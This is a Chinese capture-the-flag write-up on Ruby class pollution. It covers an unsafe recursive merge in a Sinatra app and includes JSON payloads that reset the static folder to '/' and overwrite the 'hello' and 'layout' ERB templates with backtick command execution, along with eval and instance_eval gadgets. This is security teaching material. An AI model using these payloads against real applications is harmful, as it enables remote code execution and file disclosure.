Ruby类污染及其例题WP

Ruby 类介绍

```ruby
class Person

  # 定义属性
  attr_accessor :name, :age, :details

  # 初始化方法
  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  # 定义方法
  def merge_with(additional)
        recursive_merge(self, additional)
  end

end
```

> 类变量（类似 Java 中类的静态变量）使用 `@@` 前缀，实例变量使用 `@` 前缀，在类内部才用这种前缀来访问。

> 冒号前缀表示符号（Symbol）。Ruby 中符号是轻量级的、不可变的字符串，通常用于表示标识符、方法名或键。符号的优点是它们在内存中只存储一次，因此在需要频繁比较或使用相同字符串的情况下，使用符号可以提高性能。

Ruby 对象的一些特殊的方法：

- `attr_accessor`：定义实例变量的 getter 和 setter 方法，用于在类外部访问实例变量
- `initialize`：类的构造方法
- `to_s`：toString 方法
- `inspect`：和 `to_s` 差不多，常用于 debug
- `method_missing`：类似 PHP 的 `__call__` 方法，当调用一个不存在的方法时会触发
- `respond_to?`：检测对象是否有某个方法或属性
- `send`：根据方法名来调用（包括私有方法）
- `public_send`：根据方法名调用公开方法

Ruby 对象的一些特殊的属性（类也算对象）

- `class`：当前对象的类
- `superclass`：父类
- `subclasses`：子类数组
- `instance_variables`：实例变量名的数组
- `class_variables`：类变量名的数组

重要特性

在 Ruby 中，所有类的顶层父类是 BasicObject。BasicObject 是 Ruby 类层次结构中的根类，所有其他类都直接或间接地继承自它。

```ruby
class Person

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end

user = User.new(
  name: "John Doe",
  age: 30,
  details: {
    "occupation" => "Engineer",
    "location" => {
      "city" => "Madrid",
      "country" => "Spain"
    }
  }
)

puts user.class  # 获取它的类
puts user.class.superclass  # 获取它的类的父类
puts user.class.superclass.superclass
puts user.class.superclass.superclass.superclass
puts user.class.superclass.superclass.subclasses  # 获取它的类的子类
puts user.class.superclass.superclass.subclasses.sample  # 随机获取它子类中的一个类
```

输出结果分别如下

```
User
Person
Object
BasicObject

Person
Net::HTTPResponse::Inflater
Net::HTTPResponse
...

Zlib::GzipFile (sample)
```

那么我们之后的类污染就要通过 `superclass` 、 `subclasses` 、 `sample` 来回溯到父类 `Object` ，锁定要污染的变量所在的类，从父类逐层寻找子类。

不安全的递归合并

Doyensec 的文章中给出下面的 merge 函数，也介绍了两个实际案例，分别是 `Ruby on Rails` 的内置组件 `ActiveSupport` 提供的 `deep_merge` ，以及 `Hashie` 库提供的 `deep_merge` ，感兴趣可以看原文。

```ruby
def merge_with(additional)
    recursive_merge(self, additional)
  end

  private

  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        if current_obj.is_a?(Hash)
          current_obj[key] = value
        else
          current_obj.instance_variable_set("@#{key}", value)
          current_obj.singleton_class.attr_accessor key
        end
      end
    end
    original
  end
```

`recursive_merge` 用于递归地合并两个对象 `original` 和 `additional`

- 遍历 `additional` 对象中的每个键值对。
- 处理嵌套的哈希：如果值是一个哈希，它会检查 `current_obj`（初始为 `original`）是否响应该键。如果响应，则递归合并嵌套的哈希。如果不响应，则创建一个新对象，将其设置为实例变量，并为其创建访问器。
- 处理非哈希值：如果值不是哈希，则直接在 `current_obj` 上设置该值为实例变量，并为其创建访问器。

污染当前对象

```ruby
class A

  attr_accessor :x

  def initialize(x)
    @x = x
  end

  def merge_with(additional)
    recursive_merge(self, additional)
  end

  def check
    protected_methods().each do |method|
      instance_eval(method.to_s)
    end
  end
end
```

- 若能污染 `protected_methods`，其返回值就能传入 `instance_eval` 进行代码执行。

```
a = A.new(1)
a.merge_with({
    "protected_methods": ["`calc`"]
})
a.check
```

这种污染的是当前的对象的属性，不影响父类以及其他实例对象。

污染父类

```
class Base
  @@cmd = "puts 1"
end

class Cmder < Base

  def merge_with(additional)
    recursive_merge(self, additional)
  end

  def check
    eval(Base.cmd)
    # eval(@@cmd)  污染失败
    "ok"
  end
end
```

对于这种情况，可以污染父类的 cmd 变量，但这里实际上是给父类 Base 增加了一个实例变量 `@cmd`，从而通过 `Base.cmd` 访问时，实例变量 `@cmd` 遮盖了类变量 `@@cmd`

```
c = Cmder.new
c.merge_with({
    "class": {
        "superclass": {
            "cmd": "`calc`"
        }
    }
})
c.check
puts Base.class_variables  # @@cmd
puts Base.instance_variables  # @cmd
```

污染其他类

- 我们可以通过上述的 `subclasses` 来获取父类的子类，由于它返回的是一个数组，可以利用数组的 `sample` 方法，随机返回一个子类，多污染几次总能污染到目标类。

> Doyensec 的文章中提到了污染 `Person` 的 `url` 变量来进行 SSRF，以及污染 `KeySigner` 的 `signing_key` 变量来实现伪造签名数据。但我们追求的是通过类污染来实现 RCE。

> 注意文章中给出的情景，使用的是 `Sinatra` 这个web框架，能否污染框架中的关键变量来实现RCE或者文件读取之类的操作呢。

例题 Payload

- 题目源码

```ruby
# frozen_string_literal: true

require 'json'
require 'sinatra/base'
require 'net/http'


class Person
  @@url = "http://default-url.com"

  attr_accessor :name, :age, :details

  def initialize(name:, age:, details:)
    @name = name
    @age = age
    @details = details
  end

  def self.url
    @@url
  end


  def merge_with(additional)
    recursive_merge(self, additional)
  end

  private


  def recursive_merge(original, additional, current_obj = original)
    additional.each do |key, value|
      if value.is_a?(Hash)
        if current_obj.respond_to?(key)
          next_obj = current_obj.public_send(key)
          recursive_merge(original, value, next_obj)
        else
          new_object = Object.new
          current_obj.instance_variable_set("@#{key}", new_object)
          current_obj.singleton_class.attr_accessor key
        end
      else
        if current_obj.is_a?(Hash)
          current_obj[key] = value
        else
          current_obj.instance_variable_set("@#{key}", value)
          current_obj.singleton_class.attr_accessor key
        end
      end
    end
    original
  end
end

class User < Person
  def initialize(name:, age:, details:)
    super(name: name, age: age, details: details)
  end
end
```

```ruby
class KeySigner
  @@signing_key = "default-signing-key"

  def self.signing_key
    @@signing_key
  end

  def sign(signing_key, data)
    "#{data}-signed-with-#{signing_key}"
  end
end

class JSONMergerApp < Sinatra::Base
  set  :bind ,  '0.0.0.0'
  set  :port ,  '7888'
  post '/merge' do
    content_type :json
    j_str = request.body.read
    return "try try try"  if j_str.include?("\\") || j_str.include?("h")

    json_input = JSON.parse(j_str, symbolize_names: true)

    user = User.new(
      name: "John Doe",
      age: 30,
      details: {
        "occupation" => "Engineer",
        "location" => {
          "city" => "Madrid",
          "country" => "Spain"
        }
      }
    )

    user.merge_with(json_input)

    { status: 'merged' }.to_json
  end

  # GET /launch-curl-command - Activates the first gadget
  get '/launch-curl-command' do
    content_type :json

    # This gadget makes an HTTP request to the URL stored in the User class
    if Person.respond_to?(:url)
      url = Person.url
      response = Net::HTTP.get_response(URI(url))
      { status: 'HTTP request made', url: url }.to_json
    else
      { status: 'Failed to access URL variable' }.to_json
    end
  end

  get '/sign_with_subclass_key' do
    content_type :json

    signer = KeySigner.new
    signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

    { status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data
}.to_json
  end
```

```
  get '/check-infected-vars' do
    content_type :json

    {
      user_url: Person.url,
      signing_key: KeySigner.signing_key
    }.to_json
  end

  get('/') do
    erb :hello
  end
  run! if app_file == $0
end
```

类污染设置静态目录

`Sinatra` 框架中是通过如下配置来设置静态目录的

```
set :public_folder, File.dirname(__FILE__) + '/static'
```

跟进 `set` 方法可以发现他实际就是给 `Sinatra::Base` 设置了一个属性的getter、setter

```
 28     module Sinatra
973       class Base
1288        class << self
1345          def set(option, value = (not_set = true), ignore_setter = false, &block)
1373            setter = proc do |val|
1374              val = value.merge val if Hash === val
1375              set option, val, ignore_setter true
1376            end
1377          end
1378
1379          define_singleton( name "#{option}=", setter)
1380          define_singleton(option, getter)
1381          define_singleton( name "#{option}?",  content "!!#{option}") unless method_defined? "#{option}?"
1382          self
1383        end
1384
```

`class_eval` 给类动态定义方法

```
1728        def define_singleton(name, content = Proc.new)
1729          singleton_class.class_eval do [self: self]
1730            undef_method(name) if method_defined? name
1731            String === content ? class_eval("def #{name}() #{content}; end") : define_method(name, &content)
1732          end
1733        end
1734
```

- 因此可以污染 `public_folder` 这个属性来修改静态目录，而我们需要找到 JSONMergerApp 中的 settings 去污染 public，不然污染了父类会导致 public_folder 滞空。

```
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"settings":{"public_folder":
"/"}}}}}}}
```

类污染写ERB模板

调试可知 `Sinatra::Base` 有个 `templates` 属性，类型是哈希，猜测他是存放模板的。

`Sinatra` 默认模板位于 `./views` 目录，也支持通过如下语句定义模板。

```ruby
module Sinatra
  module Templates
    def render_ruby(engine, template, options = {}, locals = {}, &block)
    end

    def render(engine, data, options = {}, locals = {}, &block)
      # merge app-level options
      engine_options = settings.respond_to?(engine) ? settings.send(engine) : {}
      options.merge!(engine_options) { |_key, v1, _v2| v1 }

      # extract generic options
      locals          = options.delete(:locals) || locals         || {}
      views           = options.delete(:views)  || settings.views || './views'
      layout          = options[:layout]
      layout          = false if layout.nil? && options.include?(:layout)
      eat_errors      = layout.nil?
      layout          = engine_options[:layout] if layout.nil? || (layout == true && engine_options[:layout] != false)
      layout          = @default_layout         if layout.nil? || (layout == true)
      layout_options  = options.delete(:layout_options) || {}
```

Sinatra › Templates

```ruby
# Calls the given block for every possible template file in views, named name.ext,
# where ext is registered on engine.
def find_template(views, name, engine)
  yield ::File.join(views, "#{name}.#{@preferred_extension}")

  Tilt.default_mapping.extensions_for(engine).each do |Elem ext|
    yield ::File.join(views, "#{name}.#{ext}") unless ext == @preferred_extension
  end
end
```

```ruby
template :index do
  '%div.title Hello World!'
end
```

```ruby
# Define a named template. The block must return the template source.
def template(name, &block)
  filename, line = caller_locations.first
  templates[name] = [block, filename, line.to_i]
end

# Define the layout template. The block must return the template source.
def layout(name = :layout, &block)
  template name, &block
end
```

有如下渲染模板的路由

```ruby
get('/') do
    erb :hello
end
```

- ERB (Embedded Ruby) 是 Ruby 标准库自带的，它允许在文本文件中嵌入 Ruby 代码，通常用于生成 HTML 文件，就是一个模板引擎。

- 可以污染 `templates` 属性，覆盖 `hello` 模板，通过 ERB 模板实现 RCE。

```
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"hello": "<%= `calc` %>"}}}}}}}
```

- 但由于本题存在 WAF，`return "try try try" if j_str.include?("\\") || j_str.include?("h")`，所以不能直接使用这个方法。

巧妙的绕过

- 我们发现在渲染页面的时候，它会经过两次渲染，第一次是 erb 模板的值，而第二次就是 render 中复调了 layout，那么我们去污染 layout 要渲染的内容之后，它渲染的内容就是污染的内容，所以我们就能够实现写 erb 模板 RCE 了，并且不受本题 WAF 的限制了。

Payload：

```
{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"templates": {"layout": "<%= `calc` %>"}}}}}}}
```